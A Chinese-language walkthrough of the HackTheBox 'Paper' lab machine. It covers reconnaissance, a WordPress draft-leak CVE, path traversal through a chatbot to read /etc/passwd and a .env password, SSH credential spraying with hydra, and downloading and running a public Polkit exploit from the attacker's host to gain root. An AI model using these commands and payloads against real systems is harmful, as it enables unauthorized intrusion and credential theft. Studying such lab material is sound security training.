HTB:Paper[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
对靶机进行子域名FUZZ
编辑
对靶机主域名进行路径FUZZ
使用curl访问靶机主域名
对该域名进行路径FUZZ
边界突破
使用浏览器访问靶机后台域名/wp-admin路径
使用searchsploit搜索该CMS漏洞
查看该PoC内容
仿照PoC构造URL访问static=1的页面
使用浏览器访问秘密链接
点击左侧的general进入频道
使用hydra对靶机SSH服务进行密码喷洒
使用上述凭证登录靶机SSH服务
权限提升
查看该用户可sudo执行的二进制文件
查找系统内的SUID文件
查找系统内的CAP_SUID文件
操纵靶机从攻击机中下载linpeas.sh
为该脚本赋权并执行
在Github上寻找EXP
控制靶机将该EXP进行下载
连接至HTB服务器并启动靶机
靶机IP:
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,80,443
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.143
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143
对靶机进行子域名FUZZ
ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200
使用curl访问靶机主域名
curl -I http://10.10.11.143
- 由输出的响应头可见,靶机后端服务器域名为:office.paper
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8
- 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper
对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt
边界突破
使用浏览器访问靶机后台域名/wp-admin路径
- 使用wappalyzer查看该页技术栈
使用searchsploit搜索该CMS漏洞
searchsploit wordpress 5.2.3
- 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md
Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
URL: https://www.exploit-db.com/exploits/47690
Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
Codes: CVE-2019-17671
Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md
查看该PoC内容
cat 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md
So far we know that adding `?static=1` to a wordpress URL should leak its secret contentHere are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
仿照PoC构造URL访问static=1的页面
- 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY
测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!
- 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb
使用浏览器访问秘密链接
- 访问后,该页提供一个注册表供用户填写相关注册信息
- 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号
- 将注册表单完整
- 注册完成后进入主界面
点击左侧的general进入频道
- 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册
你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'
4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'
5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
- 经过简单分析可知
读取文件内容命令:recyclops file test.txt
列出目录文件命令:list
- 我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
<!=====Contents of file ../../../../../etc/passwd=====>
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd❌998:996:User for polkitd:/:/sbin/nologin
geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
qemu❌107:107:qemu user:/:/sbin/nologin
apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
chrony❌993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd❌75:75:radvd user:/:/sbin/nologin
clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd❌983:981:User for sssd:/:/sbin/nologin
colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
gdm❌42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
mongod❌976:974:mongod:/var/lib/mongo:/bin/false
rocketchat❌1001:1001::/home/rocketchat:/bin/bash
dwight❌1004:1004::/home/dwight:/bin/bash<!=====End of file ../../../../../etc/passwd=====>
- 接着我尝试通过它举例的命令列出当前及上一级目录文件
- 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot
- 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1<!=====End of file ../hubot/.env=====>
- 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight
使用hydra对靶机SSH服务进行密码喷洒
echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143
账户:dwight
密码:Queenofblad3s!23
使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143
- 在当前目录可找到user.txt文件
[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh hubot sales user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc
权限提升
查看该用户可sudo执行的二进制文件
sudo -l
[dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.
查找系统内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null
查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
- 执行后无事发生
操纵靶机从攻击机中下载linpeas.sh
wget http://10.10.16.13:6666/linpeas.sh
- 攻击机收到请求
┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing
为该脚本赋权并执行
chmod +x linpeas.sh
- 执行后可见靶机存在漏洞:CVE-2021-3560
在Github上寻找EXP
https://github.com/Almorabea/Polkit-exploit.git
控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
- 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py
- 运行一段时间后成功提权
[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root
- 在/root目录下找到root.txt文件
[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---. 8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root 244 Jan 17 2022 ..
lrwxrwxrwx. 1 root root 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Jul 3 2021 .bash_logout
-rw-r--r--. 1 root root 176 Jul 3 2021 .bash_profile
-rw-r--r--. 1 root root 233 Jul 3 2021 .bashrc
drwx------. 3 root root 19 Jul 3 2021 .cache
drwx------. 6 root root 64 Jul 3 2021 .config
-rw-r--r--. 1 root root 100 May 11 2019 .cshrc
-rw-------. 1 root root 328 Feb 1 2022 .dbshell
drwx------. 3 root root 25 Jul 3 2021 .dbus
-rw-------. 1 root root 16 Jul 3 2021 .esd_auth
-rw-------. 1 root root 0 Jul 3 2021 .mongorc.js
drwxr-xr-x. 5 root root 83 Jul 3 2021 .npm
drwxr-xr-x. 2 root root 52 Jan 13 2022 .restore
drwx------. 2 root root 6 Sep 16 2021 .ssh
-rw-r--r--. 1 root root 129 May 11 2019 .tcshrc
-rw-------. 1 root root 1438 Jul 3 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 1593 Jul 3 2021 initial-setup-ks.cfg
-r--------. 1 root root 33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd